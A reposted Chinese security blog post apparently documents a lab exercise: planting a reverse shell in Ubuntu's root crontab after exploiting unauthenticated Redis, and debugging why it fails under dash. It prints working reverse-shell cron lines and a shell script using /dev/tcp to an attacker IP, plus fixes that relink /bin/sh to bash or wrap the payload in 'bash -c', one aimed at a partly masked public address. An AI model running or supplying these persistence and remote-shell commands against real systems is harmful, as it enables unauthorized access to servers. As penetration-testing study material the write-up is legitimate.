解决ubuntu crontab反弹shell失败的问题

转载自:http://zone.secevery.com/article/972

这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~

环境说明

ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机

kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell

具体过程

事情源自于我利用redis未授权访问漏洞在向

ubuntu的

1
/var/spool/cron/crontabs

目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上

任务计划文件

1
/var/spool/cron/crontabs/root

内容如下

1
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1

需要特别注意的一点是这的root文件的权限必须为600,也就是

1
rw

,否则会出现

1
cron[53948]: (root) INSECURE MODE (mode 0600 expected)

的错误,会影响到后面的实验

但是kali却迟迟接收不到反弹过来的shell

之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的

首先,咱们先来看一下系统日志

1
tail -f /var/log/syslog

通过系统日志可以看到

1
CRON[55318]: (CRON) info (No MTA installed, discarding output)

这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误

通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为

1
* * * * * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1

1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将

1
/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1

执行的标准错误输出重定向到输出流,也就是

1
/tmp/error.txt

这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了

1
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found

下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件

1
ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因

那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中

1
/bin/sh

的指向是bash,所以命令执行不会出错

搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中

1
/bin/sh

的指向,将dash改为bash即可,命令如下

1
ln -s -f bash /bin/sh

可以看到此时

1
2
$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Mar 18 07:18 /bin/sh -> bash

,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上

下面来说一下第二种解决办法,首先我们先将

1
/bin/sh

的指向改回

1
2
dash
ln -s -f dash /bin/sh

第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件

shell脚本文件如下,文件名为

1
2
3
/tmp/test.sh

/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1

然后为test.sh加上执行权限

1
chmod +x /tmp/test.sh

之后任务计划里的内容修改为

1
* * * * * /tmp/test.sh

可以看到kali上成功反弹到了shell

总结

这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助!

上面都是大佬的思路,下面补充一个师兄的方法:

1
*/1 * * * *  bash -c "bash -i  >&/dev/tcp/123.207.x.x/1234 0>&1"

不用修改链接指向,直接在sh下执行bash -c。